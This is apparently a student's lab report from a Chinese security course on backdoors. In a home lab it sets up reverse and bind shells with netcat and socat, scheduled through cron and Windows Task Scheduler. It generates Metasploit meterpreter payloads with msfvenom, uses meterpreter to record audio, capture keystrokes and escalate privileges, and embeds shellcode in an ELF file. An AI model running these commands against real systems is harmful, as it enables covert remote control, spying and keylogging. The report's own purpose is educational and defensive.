1. 程式人生 > >Exp2 後門原理與實踐 ——20164316張子遙

Exp2 後門原理與實踐 ——20164316張子遙

操作系統 linux定時任務 con 管理員 遠程控制 clear 最後一行 任務管理器 地址

一、實踐基本內容

1.實踐目標

(1)使用netcat獲取主機操作Shell,cron啟動

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

(4)使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

(5)可選加分內容:使用MSF生成shellcode,註入到實踐1中的pwn1中,獲取反彈連接Shell。

2.實踐前期準備

在實踐前期先熟悉一下ncat的使用,使用前確定Linux和Windows都安裝好了ncat。

Windows中命令行中輸入指令 ipconfig 查看本機ip

技術分享圖片

Linux終端中輸入指令 ifconfig 查看ip地址

技術分享圖片

可以確定Windows的ip為 192.168.1.102 ;Linux的ip為 192.168.192.128

2.1使用ncat,本機(Windows)獲得虛擬機(Linux)操作shell

步驟1:win中使用ncat監聽4316端口: ncat.exe -l -p 4316

技術分享圖片

步驟2:在Linux輸入指令 nc 192.168.1.102 4316 -e /bin/sh 反彈連接Windows主機的 4316 端口(指令中的ip地址需為Windows ip)

技術分享圖片

結果:本機(Windows)成功獲得虛擬機(Linux)操作shell,能夠進行操作。

此時本機(Windows)為攻擊者,虛擬機(Linux)為靶機也就是被攻擊者。

技術分享圖片

2.2使用ncat,虛擬機(Linux)獲得本機(Windows)操作shell(大體步驟與上述類似)

步驟1:在Linux中監聽4316端口:nc -l -p 4316

步驟2:在Windows輸入指令 ncat.exe -e cmd.exe 192.168.192.128 4316 反彈連接Linux的4316端口(指令中的ip地址需為Linux ip)

結果:虛擬機(Linux)成功獲得本機(Windows)操作shell,能夠執行Windows中的命令。

此時本機(Windows)為靶機,虛擬機(Linux)也就是攻擊者。

技術分享圖片


二、實踐具體步驟

目標一:使用netcat獲取主機操作Shell,cron啟動

cron是linux下用來周期性的執行某種任務或等待處理某些事件的一個守護進程,與windows下的計劃任務類似,當安裝完成操作系統後,默認會安裝此服務 工具,並且會自動啟動cron進程,cron進程每分鐘會定期檢查是否有要執行的任務,如果有要執行的任務,則自動執行該任務。

crontab文件的含義:

用戶所建立的crontab文件中,每一行都代表一項任務,每行的每個字段代表一項設置,它的格式共分為六個字段,前五段是時間設定段,第六段是要執行的命令段,格式如下:minute hour day month week command

實踐參考:Linux定時任務Crontab命令詳解

具體步驟:

1.用 crontab -e 指令編輯定時任務,選擇3,也就是基本的vim編輯器

技術分享圖片

技術分享圖片

2.vim編輯器中用 i 改為插入模式,在最後一行插入 00 21 20 3 * /bin/netcat 192.168.1.102 4316 -e /bin/sh 後輸入 :wq! 保存並退出,上述指令表示在3月20號的晚上九點(21:00)反向連接Windows本機的4316端口,就會啟動cron

技術分享圖片

3.在21:00之前輸入 ls 指令,屏幕上並無顯示,當時間到了21:00時,此時已經獲得了shell,指令所得內容則顯示了出來

技術分享圖片

目標二:使用socat獲取主機操作Shell, 任務計劃啟動

實踐參考:socat使用筆記

socatncat的增強版,socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。作為一款雙向數據流通道工具,它擁有許多強大的功能:端口的連接、端口偵聽、收發文件、傳遞shell、端口轉發、端口掃描等。

實踐前在Windows安裝好socat。

具體步驟:

1.win中打開控制面板,選中管理工具->任務計劃程序

技術分享圖片

技術分享圖片

2.創建新任務,填寫任務名稱,新建一個觸發器。

技術分享圖片

技術分享圖片技術分享圖片

3.同時創建新操作,在操作->程序或腳本中選擇 socat.exe 文件的路徑,在添加參數一欄填寫 tcp-listen:4316 exec:cmd.exe,pty,stderr ,這個命令的作用是把cmd.exe綁定到端口4316,同時把cmd.exestderr重定向到stdout

技術分享圖片

4.按快捷鍵win+L即能鎖定計算機,創建的任務開始運行。

此時在Linux中輸入指令 socat - tcp:192.168.1.102:4316 ,發現成功獲得了cmd shell,能夠輸入Windows的命令

技術分享圖片

目標三:使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

P.S.由於重新開機,此時Windows的ip地址變更為192.168.43.137,Linux虛擬機ip地址變更為192.168.192.129.

具體步驟:

1.Linux中輸入指令生成後門程序(因為靶機系統為win10的64位故在指令中參數加上x64)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe

2.使用ncat傳輸已經生成的20164316.exe程序文件。(通過2222端口)

i)在win中輸入: ncat.exe -lv 2222 > 4316.exe 監聽並接受後門程序;

ii)在Linux中輸入: nc 192.168.43.137 2222 < 20164316.exe 向win傳輸後門程序。

技術分享圖片

技術分享圖片

技術分享圖片

3.在Linux中輸入指令msfconsole,進入msf命令行,msf啟動監聽前需要進行一些設置

use exploit/multi/handler    /*進入handler模式*/

set payload windows/x64/meterpreter/reverse_tcp  /*對應生成的後門程序設置payload*/

show options  /*查看當前信息狀態*/

set LHOST 192.168.192.129  /*設置LHOST,其中ip為Linux的ip*/

set LPORT 4316 /*設置LPORT*/

exploit /*啟動監聽*/

啟動監聽後再在win中運行後門程序,此時Linux上已經獲得了Windows主機的連接,並且得到了遠程控制的shell,能夠輸入Windows中的命令。

技術分享圖片

技術分享圖片

目標四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

實踐參考:獲取shell之後進一步利用

具體步驟:

record_mic//該指令可以截獲音頻

webcam_snap//該指令可以使用攝像頭進行拍照

screenshot//該指令可以進行截屏

keyscan_start//輸入該指令開始記錄下擊鍵的過程

keyscan_dump//輸入該指令讀取擊鍵的記錄

技術分享圖片

技術分享圖片

技術分享圖片

P.S.由於本機Windows缺少攝像頭驅動,所以攝像頭進行拍照不能進行,webcam_snap等命令會回復缺少攝像頭設備

getuid 指令查看當前用戶,使用 getsystem 指令進行提權,如圖未提權成功。

技術分享圖片

在win中重新嘗試以管理員身份運行後門程序後再進入msf命令行中進行提權,使用 getsystem 指令提權成功

技術分享圖片

目標五:使用MSF生成shellcode,註入到實踐1中的pwn1中,獲取反彈連接Shell

實踐參考:使用MSF生成shellcode

在完成該目標時,直接在兩臺虛擬機Linux之間進行,大致步驟與目標三相同,要點在於shellcode的生成。

具體步驟:

1.利用指令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -x /root/Desktop/20164316zzy -f elf > 20164316zzy_2 生成以20164316zzy為模板這個elf文件格式的shellcode文件20164316zzy_2

(由靶機為Linux且20164316zzy這個文件是32位的來確定參數)

技術分享圖片

2.輸入指令msfconsole,進入msf命令行,msf啟動監聽前需要進行一些設置

use exploit/multi/handler    /*進入handler模式*/

set payload linux/x86/meterpreter/reverse_tcp  /*對應生成的後門程序設置payload*/

show options  /*查看當前信息狀態*/

set LHOST 192.168.192.129  /*設置LHOST,其中ip為攻擊者Linux的ip*/

set LPORT 4316 /*設置LPORT*/

exploit /*啟動監聽*/

技術分享圖片

3.msf中啟動監聽,在被攻擊者Linux中 ./20164316zzy_2 運行程序,此時攻擊者Linux上已經獲得了被攻擊者Linux的連接,並且得到了遠程控制的shell

技術分享圖片

技術分享圖片


三、實踐所遇問題與解決

1.目標三中運行了後門程序(在任務管理器中也能看到),但是msf監聽這邊沒有反應。

技術分享圖片

技術分享圖片

問題原因及解決:生成後門程序的語句為 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe ,加上了參數x64,但是在msf的設置payload中,指令 set payload windows/meterpreter/reverse_tcp 未加上x64,是msf存在的共性問題,導致無法監聽到後門程序的運行;加上參數後即能連接Windows獲取shell,成功結果截圖見目標三。


四、實踐問題回答與收獲

基礎問題回答:

  (1)例舉你能想到的一個後門進入到你系統中的可能方式?

  答:後門程序可能與我下載的某些盜版軟件捆綁下載,從而下載到我的電腦。

  (2)例舉你知道的後門如何啟動起來(win及linux)的方式?

  答:win中後門可能與某些軟件捆綁運行達到啟動的目的;

Linux中通過設置corn定時啟動後門程序。

  (3)Meterpreter有哪些給你映像深刻的功能?

  答:能夠獲得攝像頭權限和鍵盤使用權限並且能夠監視鍵盤鍵入!讓我意識到一旦被攻擊,是非常恐怖的....

  (4)如何發現自己有系統有沒有被安裝後門?

  答:稍微低級一點的,例如360安全軟件和防火墻,我在做實驗時起初就因為沒有關掉360殺毒軟件導致後門程序一被傳輸過來就被殺死了。更加仔細一點的話,可以通過查看進程和利用一些抓包工具來進行分析。(前提是後門程序啟動了)

實踐收獲

  此次實踐讓我熟悉了後門程序的生成,以及ncat、socat的使用,更讓人認識到了後門的危害...而我們學習如何攻擊的同時,也應該了解如何防範。在實踐中,也多次查詢各種資料來完成,這種解決問題的方式,讓人學習得更深刻和透徹。

Exp2 後門原理與實踐 ——20164316張子遙